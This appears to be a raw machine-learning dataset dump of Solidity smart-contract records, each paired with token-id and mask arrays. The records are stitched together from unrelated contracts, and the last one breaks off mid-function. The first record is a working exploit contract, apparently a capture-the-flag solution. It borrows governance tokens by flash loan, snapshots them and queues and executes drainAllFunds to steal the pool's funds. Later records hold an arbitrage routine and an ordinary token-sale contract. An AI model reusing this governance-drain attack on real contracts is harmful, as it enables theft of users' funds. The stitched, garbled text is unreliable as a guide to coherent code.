16, 1731, 10019, 203, 203, 3639, 309, 261, 8389, 559, 422, 2030, 28284, 13, 288, 203, 5411, 389, 8389, 758, 1724, 12, 8389, 751, 1769, 203, 5411, 389, 1458, 1345, 12, 2 ]
pragma solidity ^0.8.0; import "../selfie/SelfiePool.sol"; import "../selfie/SimpleGovernance.sol"; import "../DamnValuableTokenSnapshot.sol"; contract SelfieExploit { SelfiePool public pool; SimpleGovernance public governance; ERC20Snapshot public token; uint256 public action_id_queued; constructor(address _pool) { pool = SelfiePool(_pool); governance = pool.governance(); token = pool.token(); } // 1. We trigger the loan. function triggerLoan(uint _amount) public { pool.flashLoan(_amount); } function receiveTokens(DamnValuableTokenSnapshot _token, uint _amount) public { // 2. Snapshot the amount of tokens that we've loaned; the governance only checks the snapshotted amount. _token.snapshot(); // 3. pay the loan back since we no longer need it. require(token.transfer(address(pool), _amount)); // function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) // 4. craft the payload; we cann the onlyGovernor() function to drain all the funds(msg.sender == governance) action_id_queued = governance.queueAction( address(pool), abi.encodeWithSignature( "drainAllFunds(address)", address(this) ), 0 ); } // 5. execute the crafter action; function callAction() public { governance.executeAction(action_id_queued); token.transfer(msg.sender, token.balanceOf(address(this))); } }
5. execute the crafter action;
function callAction() public { governance.executeAction(action_id_queued); token.transfer(msg.sender, token.balanceOf(address(this))); }
12,657,298
[ 1, 25, 18, 1836, 326, 276, 354, 1424, 1301, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 745, 1803, 1435, 1071, 288, 203, 3639, 314, 1643, 82, 1359, 18, 8837, 1803, 12, 1128, 67, 350, 67, 19499, 1769, 203, 203, 3639, 1147, 18, 13866, 12, 3576, 18, 15330, 16, 1147, 18, 12296, 951, 12, 2867, 12, 2211, 3719, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0xF01d067E0782D27058442f0637e33dE9CD967F9F/sources/contracts/UniLikeDexTrader.sol
根据借的amount,算出需要换多少 根据借的amount,算出能兑换多少 判断套利空间 借 token0 借 token1
function executeSwap2( address[] memory addresses, Direction direction, uint256[] memory data ) internal { uint256 repayAmount = DexLibrary.getAmountIn(data[0], data[3], data[4], 9970); uint256 swapAmount = DexLibrary.getAmountOut(data[0], data[5], data[6], 9970); require(repayAmount.add(data[1]) < swapAmount); bytes memory encodeData = abi.encode( addresses, data[0], swapAmount, repayAmount, data[2] ); if (direction == Direction.BorrowToken0FromPair0 || direction == Direction.BorrowToken0FromPair1) { IUniswapV2Pair(addresses[0]).swap(data[0], 0, address(this), encodeData); IUniswapV2Pair(addresses[0]).swap(0, data[0], address(this), encodeData); } }
1,882,856
[ 1, 167, 259, 122, 167, 240, 111, 166, 227, 258, 168, 253, 231, 8949, 176, 125, 239, 168, 111, 250, 166, 234, 123, 170, 255, 227, 169, 104, 228, 167, 240, 100, 166, 102, 253, 166, 113, 244, 225, 167, 259, 122, 167, 240, 111, 166, 227, 258, 168, 253, 231, 8949, 176, 125, 239, 168, 111, 250, 166, 234, 123, 169, 230, 126, 166, 232, 244, 167, 240, 100, 166, 102, 253, 166, 113, 244, 225, 166, 235, 102, 167, 249, 260, 166, 103, 250, 166, 235, 107, 168, 107, 123, 170, 250, 117, 225, 166, 227, 258, 1147, 20, 225, 166, 227, 258, 1147, 21, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1836, 12521, 22, 12, 203, 3639, 1758, 8526, 3778, 6138, 16, 203, 3639, 15280, 4068, 16, 203, 3639, 2254, 5034, 8526, 3778, 501, 203, 3639, 262, 2713, 288, 203, 3639, 2254, 5034, 2071, 528, 6275, 273, 463, 338, 9313, 18, 588, 6275, 382, 12, 892, 63, 20, 6487, 501, 63, 23, 6487, 501, 63, 24, 6487, 14605, 7301, 1769, 203, 3639, 2254, 5034, 7720, 6275, 273, 463, 338, 9313, 18, 588, 6275, 1182, 12, 892, 63, 20, 6487, 501, 63, 25, 6487, 501, 63, 26, 6487, 14605, 7301, 1769, 203, 3639, 2583, 12, 266, 10239, 6275, 18, 1289, 12, 892, 63, 21, 5717, 411, 7720, 6275, 1769, 203, 203, 3639, 1731, 3778, 2017, 751, 273, 24126, 18, 3015, 12, 203, 5411, 6138, 16, 203, 5411, 501, 63, 20, 6487, 203, 5411, 7720, 6275, 16, 203, 5411, 2071, 528, 6275, 16, 203, 5411, 501, 63, 22, 65, 203, 3639, 11272, 203, 3639, 309, 261, 9855, 422, 15280, 18, 38, 15318, 1345, 20, 1265, 4154, 20, 747, 4068, 422, 15280, 18, 38, 15318, 1345, 20, 1265, 4154, 21, 13, 288, 203, 5411, 467, 984, 291, 91, 438, 58, 22, 4154, 12, 13277, 63, 20, 65, 2934, 22270, 12, 892, 63, 20, 6487, 374, 16, 1758, 12, 2211, 3631, 2017, 751, 1769, 203, 5411, 467, 984, 291, 91, 438, 58, 22, 4154, 12, 13277, 63, 20, 65, 2934, 22270, 12, 20, 16, 501, 63, 20, 6487, 1758, 12, 2211, 3631, 2017, 751, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100 ]
pragma solidity ^0.5.8; /** * @title Math * @dev Assorted math operations */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Calculates the average of two numbers. Since these are integers, * averages of an even and odd number cannot be represented, and will be * rounded down. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. * @notice Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title interface for unsafe ERC20 * @dev Unsafe ERC20 does not return when transfer, approve, transferFrom */ interface IUnsafeERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external; function approve(address spender, uint256 value) external; function transferFrom(address from, address to, uint256 value) external; } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; function safeTransfer(IERC20 token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { require(token.transferFrom(from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require((value == 0) || (token.allowance(msg.sender, spender) == 0)); require(token.approve(spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); require(token.approve(spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); require(token.approve(spender, newAllowance)); } } /** * @title TokenSale */ contract TokenSale is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // token for sale IERC20 public saleToken; // address where funds are collected address public fundCollector; // address where has tokens to sell address public tokenWallet; // use whitelist[user] to get whether the user was allowed to buy mapping(address => bool) public whitelist; // exchangeable token struct ExToken { bool safe; bool accepted; uint256 rate; } // exchangeable tokens mapping(address => ExToken) private _exTokens; // bonus threshold uint256 public bonusThreshold; // tier-1 bonus uint256 public tierOneBonusTime; uint256 public tierOneBonusRate; // tier-2 bonus uint256 public tierTwoBonusTime; uint256 public tierTwoBonusRate; /** * @param _setter who set USDT * @param _usdt address of USDT */ event USDTSet( address indexed _setter, address indexed _usdt ); /** * @param _setter who set fund collector * @param _fundCollector address of fund collector */ event FundCollectorSet( address indexed _setter, address indexed _fundCollector ); /** * @param _setter who set sale token * @param _saleToken address of sale token */ event SaleTokenSet( address indexed _setter, address indexed _saleToken ); /** * @param _setter who set token wallet * @param _tokenWallet address of token wallet */ event TokenWalletSet( address indexed _setter, address indexed _tokenWallet ); /** * @param _setter who set bonus threshold * @param _bonusThreshold exceed the threshold will get bonus * @param _tierOneBonusTime tier one bonus timestamp * @param _tierOneBonusRate tier one bonus rate * @param _tierTwoBonusTime tier two bonus timestamp * @param _tierTwoBonusRate tier two bonus rate */ event BonusConditionsSet( address indexed _setter, uint256 _bonusThreshold, uint256 _tierOneBonusTime, uint256 _tierOneBonusRate, uint256 _tierTwoBonusTime, uint256 _tierTwoBonusRate ); /** * @param _setter who set the whitelist * @param _user address of the user * @param _allowed whether the user allowed to buy */ event WhitelistSet( address indexed _setter, address indexed _user, bool _allowed ); /** * event for logging exchangeable token updates * @param _setter who set the exchangeable token * @param _exToken the exchangeable token * @param _safe whether the exchangeable token is a safe ERC20 * @param _accepted whether the exchangeable token was accepted * @param _rate exchange rate of the exchangeable token */ event ExTokenSet( address indexed _setter, address indexed _exToken, bool _safe, bool _accepted, uint256 _rate ); /** * event for token purchase logging * @param _buyer address of token buyer * @param _exToken address of the exchangeable token * @param _exTokenAmount amount of the exchangeable tokens * @param _amount amount of tokens purchased */ event TokensPurchased( address indexed _buyer, address indexed _exToken, uint256 _exTokenAmount, uint256 _amount ); constructor ( address _fundCollector, address _saleToken, address _tokenWallet, uint256 _bonusThreshold, uint256 _tierOneBonusTime, uint256 _tierOneBonusRate, uint256 _tierTwoBonusTime, uint256 _tierTwoBonusRate ) public { _setFundCollector(_fundCollector); _setSaleToken(_saleToken); _setTokenWallet(_tokenWallet); _setBonusConditions( _bonusThreshold, _tierOneBonusTime, _tierOneBonusRate, _tierTwoBonusTime, _tierTwoBonusRate ); } /** * @param _fundCollector address of the fund collector */ function setFundCollector(address _fundCollector) external onlyOwner { _setFundCollector(_fundCollector); } /** * @param _fundCollector address of the fund collector */ function _setFundCollector(address _fundCollector) private { require(_fundCollector != address(0), "fund collector cannot be 0x0"); fundCollector = _fundCollector; emit FundCollectorSet(msg.sender, _fundCollector); } /** * @param _saleToken address of the sale token */ function setSaleToken(address _saleToken) external onlyOwner { _setSaleToken(_saleToken); } /** * @param _saleToken address of the sale token */ function _setSaleToken(address _saleToken) private { require(_saleToken != address(0), "sale token cannot be 0x0"); saleToken = IERC20(_saleToken); emit SaleTokenSet(msg.sender, _saleToken); } /** * @param _tokenWallet address of the token wallet */ function setTokenWallet(address _tokenWallet) external onlyOwner { _setTokenWallet(_tokenWallet); } /** * @param _tokenWallet address of the token wallet */ function _setTokenWallet(address _tokenWallet) private { require(_tokenWallet != address(0), "token wallet cannot be 0x0"); tokenWallet = _tokenWallet; emit TokenWalletSet(msg.sender, _tokenWallet); } /** * @param _bonusThreshold exceed the threshold will get bonus * @param _tierOneBonusTime before t1 bonus timestamp will use t1 bonus rate * @param _tierOneBonusRate tier-1 bonus rate * @param _tierTwoBonusTime before t2 bonus timestamp will use t2 bonus rate * @param _tierTwoBonusRate tier-2 bonus rate */ function setBonusConditions( uint256 _bonusThreshold, uint256 _tierOneBonusTime, uint256 _tierOneBonusRate, uint256 _tierTwoBonusTime, uint256 _tierTwoBonusRate ) external onlyOwner { _setBonusConditions( _bonusThreshold, _tierOneBonusTime, _tierOneBonusRate, _tierTwoBonusTime, _tierTwoBonusRate ); } function _setBonusConditions( uint256 _bonusThreshold, uint256 _tierOneBonusTime, uint256 _tierOneBonusRate, uint256 _tierTwoBonusTime, uint256 _tierTwoBonusRate ) private onlyOwner { require(_bonusThreshold > 0," threshold cannot be zero."); require(_tierOneBonusTime < _tierTwoBonusTime, "invalid bonus time"); require(_tierOneBonusRate >= _tierTwoBonusRate, "invalid bonus rate"); bonusThreshold = _bonusThreshold; tierOneBonusTime = _tierOneBonusTime; tierOneBonusRate = _tierOneBonusRate; tierTwoBonusTime = _tierTwoBonusTime; tierTwoBonusRate = _tierTwoBonusRate; emit BonusConditionsSet( msg.sender, _bonusThreshold, _tierOneBonusTime, _tierOneBonusRate, _tierTwoBonusTime, _tierTwoBonusRate ); } /** * @notice set allowed to ture to add the user into the whitelist * @notice set allowed to false to remove the user from the whitelist * @param _user address of user * @param _allowed whether allow the user to deposit/withdraw or not */ function setWhitelist(address _user, bool _allowed) external onlyOwner { whitelist[_user] = _allowed; emit WhitelistSet(msg.sender, _user, _allowed); } /** * @dev checks the amount of tokens left in the allowance. * @return amount of tokens left in the allowance */ function remainingTokens() external view returns (uint256) { return Math.min( saleToken.balanceOf(tokenWallet), saleToken.allowance(tokenWallet, address(this)) ); } /** * @param _exToken address of the exchangeable token * @param _safe whether it is a safe ERC20 * @param _accepted true: accepted; false: rejected * @param _rate exchange rate */ function setExToken( address _exToken, bool _safe, bool _accepted, uint256 _rate ) external onlyOwner { _exTokens[_exToken].safe = _safe; _exTokens[_exToken].accepted = _accepted; _exTokens[_exToken].rate = _rate; emit ExTokenSet(msg.sender, _exToken, _safe, _accepted, _rate); } /** * @param _exToken address of the exchangeable token * @return whether the exchangeable token is a safe ERC20 */ function safe(address _exToken) public view returns (bool) { return _exTokens[_exToken].safe; } /** * @param _exToken address of the exchangeable token * @return whether the exchangeable token is accepted or not */ function accepted(address _exToken) public view returns (bool) { return _exTokens[_exToken].accepted; } /** * @param _exToken address of the exchangeale token * @return amount of sale token a buyer gets per exchangeable token */ function rate(address _exToken) external view returns (uint256) { return _exTokens[_exToken].rate; } /** * @dev get exchangeable sale token amount * @param _exToken address of the exchangeable token * @param _amount amount of the exchangeable token (how much to pay) * @return purchased sale token amount */ function exchangeableAmounts( address _exToken, uint256 _amount ) external view returns (uint256) { return _getTokenAmount(_exToken, _amount); } /** * @dev buy tokens * @dev buyer must be in whitelist * @param _exToken address of the exchangeable token * @param _amount amount of the exchangeable token */ function buyTokens( address _exToken, uint256 _amount ) external { require(_exTokens[_exToken].accepted, "token was not accepted"); require(_amount != 0, "amount cannot 0"); require(whitelist[msg.sender], "buyer must be in whitelist"); // calculate token amount to sell uint256 _tokens = _getTokenAmount(_exToken, _amount); require(_tokens >= 10**18, "at least buy 1 tokens per purchase"); _forwardFunds(_exToken, _amount); _processPurchase(msg.sender, _tokens); emit TokensPurchased(msg.sender, _exToken, _amount, _tokens); } /** * @dev buyer transfers amount of the exchangeable token to fund collector * @param _exToken address of the exchangeable token * @param _amount amount of the exchangeable token will send to fund collector */ function _forwardFunds(address _exToken, uint256 _amount) private { if (_exTokens[_exToken].safe) { IERC20(_exToken).safeTransferFrom(msg.sender, fundCollector, _amount); } else { IUnsafeERC20(_exToken).transferFrom(msg.sender, fundCollector, _amount); } } /** * @dev calculated purchased sale token amount * @param _exToken address of the exchangeable token * @param _amount amount of the exchangeable token (how much to pay) * @return amount of purchased sale token */ function _getTokenAmount( address _exToken, uint256 _amount ) private view returns (uint256) { // round down value (v) by multiple (m) = (v / m) * m uint256 _value = _amount .mul(_exTokens[_exToken].rate) .div(1000000000000000000) .mul(1000000000000000000); return _applyBonus(_value); } function _applyBonus( uint256 _amount ) private view returns (uint256) { if (_amount < bonusThreshold) { return _amount; } if (block.timestamp <= tierOneBonusTime) { return _amount.mul(tierOneBonusRate).div(100); } else if (block.timestamp <= tierTwoBonusTime) { return _amount.mul(tierTwoBonusRate).div(100); } else { return _amount; } } /** * @dev transfer sale token amounts from token wallet to beneficiary * @param _beneficiary purchased tokens will transfer to this address * @param _tokenAmount purchased token amount */ function _processPurchase( address _beneficiary, uint256 _tokenAmount ) private { saleToken.safeTransferFrom(tokenWallet, _beneficiary, _tokenAmount); } }
* @dev transfer sale token amounts from token wallet to beneficiary @param _beneficiary purchased tokens will transfer to this address @param _tokenAmount purchased token amount/
function _processPurchase( address _beneficiary, uint256 _tokenAmount ) private { saleToken.safeTransferFrom(tokenWallet, _beneficiary, _tokenAmount); }
2,563,980
[ 1, 13866, 272, 5349, 1147, 30980, 628, 1147, 9230, 358, 27641, 74, 14463, 814, 225, 389, 70, 4009, 74, 14463, 814, 5405, 343, 8905, 2430, 903, 7412, 358, 333, 1758, 225, 389, 2316, 6275, 5405, 343, 8905, 1147, 3844, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 2567, 23164, 12, 203, 3639, 1758, 389, 70, 4009, 74, 14463, 814, 16, 203, 3639, 2254, 5034, 389, 2316, 6275, 203, 565, 262, 203, 3639, 3238, 203, 565, 288, 203, 3639, 272, 5349, 1345, 18, 4626, 5912, 1265, 12, 2316, 16936, 16, 389, 70, 4009, 74, 14463, 814, 16, 389, 2316, 6275, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= 